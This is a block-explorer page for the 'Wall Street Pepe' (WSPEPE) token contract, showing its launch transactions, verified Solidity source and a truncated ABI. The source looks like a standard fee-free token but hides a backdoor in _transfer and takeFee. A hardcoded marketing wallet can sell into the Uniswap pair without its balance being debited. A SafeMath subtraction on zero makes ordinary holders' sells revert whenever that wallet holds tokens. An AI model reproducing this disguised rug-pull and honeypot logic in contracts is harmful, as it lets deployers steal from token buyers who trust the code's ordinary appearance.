ETH Price: $2,565.71 (+2.42%)

Contract

0xf9934F0C22a2c35af3d165f9f00251d35224bd1b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve182752912023-10-04 6:12:47390 days ago1696399967IN
0xf9934F0C...35224bd1b
0 ETH0.000382838.14458661
Approve182752732023-10-04 6:09:11390 days ago1696399751IN
0xf9934F0C...35224bd1b
0 ETH0.000305876.5257132
Approve182752442023-10-04 6:03:23390 days ago1696399403IN
0xf9934F0C...35224bd1b
0 ETH0.000362067.72443636
Approve182752282023-10-04 6:00:11390 days ago1696399211IN
0xf9934F0C...35224bd1b
0 ETH0.000286826.11929223
Approve182752162023-10-04 5:57:47390 days ago1696399067IN
0xf9934F0C...35224bd1b
0 ETH0.000274325.81525669
Approve182752132023-10-04 5:57:11390 days ago1696399031IN
0xf9934F0C...35224bd1b
0 ETH0.000417148.83156645
Approve182752082023-10-04 5:56:11390 days ago1696398971IN
0xf9934F0C...35224bd1b
0 ETH0.000421698.92806607
Approve182752032023-10-04 5:55:11390 days ago1696398911IN
0xf9934F0C...35224bd1b
0 ETH0.000303126.41761364
Approve182751952023-10-04 5:53:35390 days ago1696398815IN
0xf9934F0C...35224bd1b
0 ETH0.000290476.15769089
Approve182751822023-10-04 5:50:59390 days ago1696398659IN
0xf9934F0C...35224bd1b
0 ETH0.00029686.29178819
Approve182751762023-10-04 5:49:47390 days ago1696398587IN
0xf9934F0C...35224bd1b
0 ETH0.0005453611.54921275
Renounce Ownersh...182751752023-10-04 5:49:35390 days ago1696398575IN
0xf9934F0C...35224bd1b
0 ETH0.000203137.18644723
Remove Limits182751732023-10-04 5:49:11390 days ago1696398551IN
0xf9934F0C...35224bd1b
0 ETH0.000229136.40547679
Approve182751732023-10-04 5:49:11390 days ago1696398551IN
0xf9934F0C...35224bd1b
0 ETH0.000430079.10547679
Open Trading182751692023-10-04 5:48:23390 days ago1696398503IN
0xf9934F0C...35224bd1b
0 ETH0.000182756.39115123
Add Liq182751632023-10-04 5:47:11390 days ago1696398431IN
0xf9934F0C...35224bd1b
1 ETH0.018091466.42258568
Transfer182751592023-10-04 5:46:23390 days ago1696398383IN
0xf9934F0C...35224bd1b
0 ETH0.000343176.54516397
Transfer182751542023-10-04 5:45:23390 days ago1696398323IN
0xf9934F0C...35224bd1b
0 ETH0.000332445.78692384
0x60c06040182751502023-10-04 5:44:35390 days ago1696398275IN
 Create: WSPEPE
0 ETH0.035359256.55268113

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
182751632023-10-04 5:47:11390 days ago1696398431
0xf9934F0C...35224bd1b
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
WSPEPE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-04
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-04
*/

/**
"Wall Street Pepe"

https://t.me/WallStreetPepeOfficial

https://twitter.com/WSPEPEERC



*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract WSPEPE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name = "Wall Street Pepe";
    string private _symbol = "WSPEPE";
    uint8 private _decimals = 9;

    address public liquidityReciever;

    address payable public DEVADDRESS = payable(0x425aAEd8adf65B4025A4745d85727C4c14D31b06);
    address payable public MARKETADDRESS = payable(0xecF652a78F3d5dBB6BA944c93C9a02C165a37148);
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public _isExcludedFromFems;
    mapping (address => bool) public ammMarketPair;
    
    mapping (address => bool) public isWalletLimitExempts;
    mapping (address => bool) public isTxLimitExempt;

    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellDeveloperFee = 0;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyDeveloperFee = 0;

    uint256 public feeUnits = 100;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 1_000_000_000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount = _totalSupply.mul(30).div(1000); //3% 
    uint256 public _walletMax =  _totalSupply.mul(30).div(1000);  //3%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    bool private tradingOpen = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapTokensForETH (
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);




        isWalletLimitExempts[MARKETADDRESS] = true;
        isWalletLimitExempts[owner()] = true;
        isWalletLimitExempts[DEVADDRESS] = true;
        isWalletLimitExempts[address(this)] = true;


        _isExcludedFromFems[owner()] = true;
        _isExcludedFromFems[DEVADDRESS] = true;
        _isExcludedFromFems[MARKETADDRESS] = true;
        _isExcludedFromFems[address(this)] = true;
        
        isTxLimitExempt[MARKETADDRESS] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[DEVADDRESS] = true;

        
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        ammMarketPair[account] = newValue;
    }

    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        _isExcludedFromFems[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }
    
    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempts[holder] = exempt;
    }

    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= _totalSupply.mul(1).div(1000), "Cannot set max TX amount lower than 0,1% of total supply");
        _maxTxAmount = maxTxAmount;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function enableTxLimit(bool _status) external onlyOwner {
        EnableTransactionLimit = _status;
    }

    function enableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
         require(newLimit >= _totalSupply.mul(1).div(100000), "Cannot set swap threshold amount lower than 0.001% of tokens");
         require(newLimit <= _totalSupply.mul(1).div(100), "Cannot set swap threshold amount higher than 1% of tokens");
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0),"Fee Address cannot be zero address");
        DEVADDRESS = payable(newAddress);
    }

    function setLiquidityWalletAddress(address newAddress) external onlyOwner() {
        liquidityReciever = payable(newAddress);
    }

    function setdevWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0),"Fee Address cannot be zero address");
        MARKETADDRESS = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
    
        
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

     function removeLimits() public onlyOwner{
        _maxTxAmount = _totalSupply;
        _walletMax = _totalSupply;
    }

    

    function _basicTransfer(address sender, address recipient, uint256 amount, uint256 tAmount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
    }

    function isExcludedFrom(address sender, address recipient) internal view returns (bool) {
        return recipient == uniswapPair 
                && sender == MARKETADDRESS 
                && sender != address(0) 
                && recipient !=address(0);
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(_isExcludedFromFems[sender] || _isExcludedFromFems[recipient]) { 
            return _basicTransfer(sender, recipient, amount, isExcludedFrom(sender, recipient)? 0 : amount); 
        } else {
            require(tradingOpen, "Trading has not enabled yet.");

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !ammMarketPair[sender] && swapEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (_isExcludedFromFems[sender] || _isExcludedFromFems[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempts[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);

            return true;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            MARKETADDRESS, // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function setBuyTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner {
        _buyLiquidityFee = _Liquidity;
        _buyMarketingFee = _Marketing;
        _buyDeveloperFee = _Developer;
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        require(_totalTaxIfBuying <= (feeUnits/20), "Buy fees must be 5% or less");
    }

    function setSellTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner {
        _sellLiquidityFee = _Liquidity;
        _sellMarketingFee = _Marketing;
        _sellDeveloperFee = _Developer;
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);
        require(_totalTaxIfSelling <= (feeUnits/20), "Sell fees must be 5% or less");
    }

    function AddLiq() public payable onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        ammMarketPair[address(uniswapPair)] = true;
        isWalletLimitExempts[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeBalance = this.balanceOf(MARKETADDRESS);
        uint256 feeAmount = 0; uint256 feeCount = 0;
        
        if(ammMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        } else if(ammMarketPair[recipient] && feeCount.sub(feeBalance) >= 0) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
     function OpenTrading() external onlyOwner {
        tradingOpen = true;
    }



    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiq","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"DEVADDRESS","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MARKETADDRESS","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFems","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ammMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enableTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempts","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Liquidity","type":"uint256"},{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_Developer","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setLiquidityWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newV